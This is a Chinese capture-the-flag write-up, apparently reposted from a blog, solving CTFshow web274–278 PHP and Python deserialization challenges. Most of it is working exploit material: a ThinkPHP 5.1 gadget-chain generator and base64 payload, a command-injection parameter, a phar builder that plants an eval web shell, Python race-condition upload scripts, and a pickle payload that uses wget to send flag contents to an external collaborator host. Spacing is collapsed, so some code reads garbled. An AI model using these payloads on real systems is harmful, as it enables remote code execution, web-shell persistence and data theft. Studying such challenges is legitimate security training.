%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%20exit%3B%20%3F%3E%22%3B%7D%7D%7D%7D
web274(Thinkphp5.1反序列化漏洞)

Thinkphp5.1 反序列化漏洞复现

<?phpnamespacethink;abstractclassModel{protected$append=[];private$data=[];function__construct(){$this->append=["lin"=>["calc.exe","calc"]];$this->data=["lin"=>newRequest()];}}classRequest{protected$hook=[];protected$filter="system";//PHP函数protected$config=[// 表单ajax伪装变量'var_ajax'=>'_ajax',];function__construct(){$this->filter="system";$this->config=["var_ajax"=>'lin'];//PHP函数的参数$this->hook=["visible"=>[$this,"isAjax"]];}}namespacethink\process\pipes;usethink\model\concern\Conversion;usethink\model\Pivot;classWindows{private$files=[];publicfunction__construct(){$this->files=[newPivot()];}}namespacethink\model;usethink\Model;classPivotextendsModel{}usethink\process\pipes\Windows;echobase64_encode(serialize(newWindows()));?>
Payload:/?lin=tac /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
web275
<?phpclassfilter{public$filename;public$filecontent;public$evilfile=false;publicfunction__construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}publicfunctioncheckevil(){if(preg_match('/php|\.\./i',$this->filename)){$this->evilfile=true;}if(preg_match('/flag/i',$this->filecontent)){$this->evilfile=true;}return$this->evilfile;}publicfunction__destruct(){if($this->evilfile){system('rm '.$this->filename);}}}if(isset($_GET['fn'])){$content=file_get_contents('php://input');$f=newfilter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'],$content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo'work done';}}else{echo'where is flag?';}

没仔细看下面的,看到了

__destruct

可以调用

system

所以只需要满足checkevil的正则匹配,执行

system

即可

Payload

GET:?fn=|tac fla*POST: flag
web276(Phar反序列化)
<?phphighlight_file(__FILE__);classfilter{public$filename;public$filecontent;public$evilfile=false;public$admin=false;publicfunction__construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}publicfunctioncheckevil(){if(preg_match('/php|\.\./i',$this->filename)){$this->evilfile=true;}if(preg_match('/flag/i',$this->filecontent)){$this->evilfile=true;}return$this->evilfile;}publicfunction__destruct(){if($this->evilfile&&$this->admin){system('rm '.$this->filename);}}}if(isset($_GET['fn'])){$content=file_get_contents('php://input');$f=newfilter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'],$content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo'work done';}}else{echo'where is flag?';}
__destruct()

加了条件,但是

admin

不可控

初探phar://

首先构造

phar

的文件,将

filter

存储在

meta-data

中以备反序列化。

<?phpclassfilter{public$filename="a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";public$filecontent;public$evilfile=true;public$admin=true;}

@unlink("payload.phar");$phar=newPhar("payload.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub$o=newfilter();$phar->setMetadata($o);//将自定义的meta-data存入manifest$phar->addFromString("test.txt","test");//添加要压缩的文件//签名自动计算$phar->stopBuffering();echo"done.";

然后因为文件名加上

/var/www/html/

unlink

的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个

phar

import requests

url ="https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"

target ="/var/www/html/d.phar"withopen("CTFshow\php-unserialize\payload.phar","rb")as f:
    payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target ="phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")

条件竞争

import requests
import threading
url="https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"
f=open("CTFshow\php-unserialize\payload.phar","rb")
content=f.read()defupload():#上传1.phar,内容是本地文件:phar.phar
    requests.post(url=url+"?fn=d.phar",data=content)defread():#利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
    r = requests.post(url=url+"?fn=phar://d.phar/test",data="1=system('tac flag.php)")if"ctfshow{"in r.text or"flag{"in r.text:print(r.text)
        exit()while1:
    t1=threading.Thread(target=upload)
    t2=threading.Thread(target=read)
    t1.start()
    t2.start()
web277(python反序列化)

Python 反序列化漏洞

利用burp的Collaborator外带

import pickle
import os
import base64

classhsad():def__reduce__(self):return(os.popen,('wget npgr48shkll6h9ye92srk1po7fd71xpm.oastify.com/?a=`tac flag`',))print(base64.b64encode(pickle.dumps(hsad())))

在这里插入图片描述

web278

web277

,禁用了

os.system

但不影响

os.popen

标签: 前端 php android

本文转载自: https://blog.csdn.net/m0_72655585/article/details/140508345
版权归原作者 薄荷色草地芬芳像风没有形状 所有, 如有侵权,请联系我们删除。

“CTFshow-web入门-php_unserialize-web254-278”的评论:

还没有评论